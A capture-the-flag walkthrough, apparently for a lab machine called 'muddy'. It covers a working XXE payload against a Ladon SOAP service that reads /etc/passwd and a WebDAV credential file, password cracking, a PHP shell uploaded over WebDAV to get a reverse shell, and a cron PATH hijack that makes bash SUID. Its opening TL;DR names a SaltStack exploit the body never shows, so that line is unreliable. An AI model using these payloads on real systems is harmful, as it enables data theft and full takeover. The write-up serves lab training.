TL;DR
- exploit a pre-auth RCE vulnerability on a
SaltStack master
Enumeration
Port scan using Nmap
$ nmap $ip -sCV -p22,25,80,111,808,908,8888 -oN nmapInitial.txt
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)| ssh-hostkey:| 2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c (RSA)| 256 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e (ECDSA)|_ 256 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 (ED25519)25/tcp open smtp Exim smtpd| smtp-commands: muddy Hello nmap.scanme.org [192.168.49.206], SIZE 52428800, 8BITMIME, PIPELINING, CHUNKING, PRDR, HELP|_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET HELP80/tcp open http Apache httpd 2.4.38 ((Debian))|_http-server-header: Apache/2.4.38 (Debian)|_http-title: Did not follow redirect to http://muddy.ugc/111/tcp open rpcbind 2-4 (RPC #100000)| rpcinfo:| program version port/proto service| 100000 2,3,4 111/tcp rpcbind| 100000 2,3,4 111/udp rpcbind| 100000 3,4 111/tcp6 rpcbind|_ 100000 3,4 111/udp6 rpcbind808/tcp open tcpwrapped908/tcp open tcpwrapped8888/tcp open http WSGIServer 0.1 (Python 2.7.16)|_http-server-header: WSGIServer/0.1 Python/2.7.16|_http-title: Ladon Service CatalogService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelDirectory Fuzzing with Gobuster
$ gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -t 100 -x php,html,txt --no-error -q/index.php (Status: 200) [Size: 19215]/wp-content (Status: 301) [Size: 323] [--> http://192.168.206.161/wp-content/]/wp-login.php (Status: 302) [Size: 0] [--> http://muddy.ugc/404]/license.txt (Status: 200) [Size: 19915]/wp-includes (Status: 301) [Size: 324] [--> http://192.168.206.161/wp-includes/]/readme.html (Status: 200) [Size: 7345]/javascript (Status: 301) [Size: 323] [--> http://192.168.206.161/javascript/]/wp-trackback.php (Status: 200) [Size: 135]/wp-admin (Status: 301) [Size: 321] [--> http://192.168.206.161/wp-admin/]/xmlrpc.php (Status: 405) [Size: 42]/webdav (Status: 401) [Size: 462]/wp-signup.php (Status: 302) [Size: 0] [--> http://muddy.ugc/wp-login.php?action=register]/server-status (Status: 403) [Size: 280]Exploitation
Seach for known vulnerabilities of Ladon
$ searchsploit ladon...Ladon Framework for Python 0.9.40 - XML External Entity | xml/webapps/43113.txt...XXE on Ladon
$ curl -s -X $'POST' \-H $'Content-Type: text/xml;charset=UTF-8' \-H $'SOAPAction: \"http://muddy.ugc:8888/muddy/soap11/checkout\"' \--data-binary $'<?xml version="1.0"?><!DOCTYPE uid[<!ENTITY passwd SYSTEM "file:///etc/passwd">]><soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"xmlns:urn=\"urn:HelloService\"><soapenv:Header/><soapenv:Body><urn:checkout soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><uid xsi:type=\"xsd:string\">&passwd;</uid></urn:checkout></soapenv:Body></soapenv:Envelope>' \'http://muddy.ugc:8888/muddy/soap11/checkout' | xmllint --format -<?xml version="1.0" encoding="UTF-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns="urn:muddy" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <SOAP-ENV:Body SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <ns:checkoutResponse> <result>Serial number: root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinsystemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologinsystemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologinsystemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologinmessagebus:x:104:110::/nonexistent:/usr/sbin/nologinsshd:x:105:65534::/run/sshd:/usr/sbin/nologinsystemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologinmysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/falseian:x:1000:1000::/home/ian:/bin/shDebian-exim:x:107:114::/var/spool/exim4:/usr/sbin/nologin_rpc:x:108:65534::/run/rpcbind:/usr/sbin/nologinstatd:x:109:65534::/var/lib/nfs:/usr/sbin/nologin</result> </ns:checkoutResponse> </SOAP-ENV:Body></SOAP-ENV:Envelope>Get webdav credential
$ curl -s -X $'POST' \-H $'Content-Type: text/xml;charset=UTF-8' \-H $'SOAPAction: \"http://muddy.ugc:8888/muddy/soap11/checkout\"' \--data-binary $'<?xml version="1.0"?><!DOCTYPE uid[<!ENTITY passwd SYSTEM "file:///var/www/html/webdav/passwd.dav">]><soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"xmlns:urn=\"urn:HelloService\"><soapenv:Header/><soapenv:Body><urn:checkout soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><uid xsi:type=\"xsd:string\">&passwd;</uid></urn:checkout></soapenv:Body></soapenv:Envelope>' \'http://muddy.ugc:8888/muddy/soap11/checkout' | xmllint --format -<?xml version="1.0" encoding="UTF-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns="urn:muddy" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <SOAP-ENV:Body SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <ns:checkoutResponse> <result>Serial number: administrant:$apr1$GUG1OnCu$uiSLaAQojCm14lPMwISDi0</result> </ns:checkoutResponse> </SOAP-ENV:Body></SOAP-ENV:Envelope>Crack the hash
$ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash.txtWarning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"Use the "--format=md5crypt-long" option to force loading these as that type insteadUsing default input encoding: UTF-8Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])Will run 8 OpenMP threadsPress 'q' or Ctrl-C to abort, almost any other key for statussleepless (administrant)1g 0:00:00:00 DONE (2021-11-14 14:42) 5.263g/s 371873p/s 371873c/s 371873C/s softball30..jenikaUse the "--show" option to display all of the cracked passwords reliablySession completedupload shell to webdav
$ cadaver http://muddy.ugc/webdavAuthentication required for Restricted Content on server `muddy.ugc':Username: administrantPassword:dav:/webdav/> lsdav:/webdav/> put shell.phpUploading shell.php to `/webdav/shell.php':Progress: [=============================>] 100.0% of 5493 bytes succeeded.
$ curl http://muddy.ugc/webdav/shell.php -u administrant:sleepless
$ nc -nvlp 80listening on [any] 80 ...connect to [192.168.49.206] from (UNKNOWN) [192.168.206.161] 34784Linux muddy 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64 GNU/Linux 04:04:27 up 3:01, 0 users, load average: 0.00, 0.00, 0.00USER TTY FROM LOGIN@ IDLE JCPU PCPU WHATuid=33(www-data) gid=33(www-data) groups=33(www-data)/bin/sh: 0: can't access tty; job control turned off$ whoamiwww-dataPrivilege Escalation
www-data@muddy:/dev/shm$ cat /etc/crontab# /etc/crontab: system-wide crontab# Unlike any other crontab you don't have to run the `crontab'# command to install the new version when you edit this file# and files in /etc/cron.d. These files also have username fields,# that none of the other crontabs do.
SHELL=/bin/shPATH=/dev/shm:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:# .---------------- minute (0 - 59)# | .------------- hour (0 - 23)# | | .---------- day of month (1 - 31)# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat# | | | | |# * * * * * user-name command to be executed17 * * * * root cd / && run-parts --report /etc/cron.hourly25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )* * * * * root netstat -tlpn > /root/status && service apache2 status >> /root/status && service mysql status >> /root/status
www-data@muddy:/dev/shm$ cat netstat#!/bin/bashchmod +s /bin/bash
www-data@muddy:/dev/shm$ /bin/bash -pbash-5.0# whoamiroot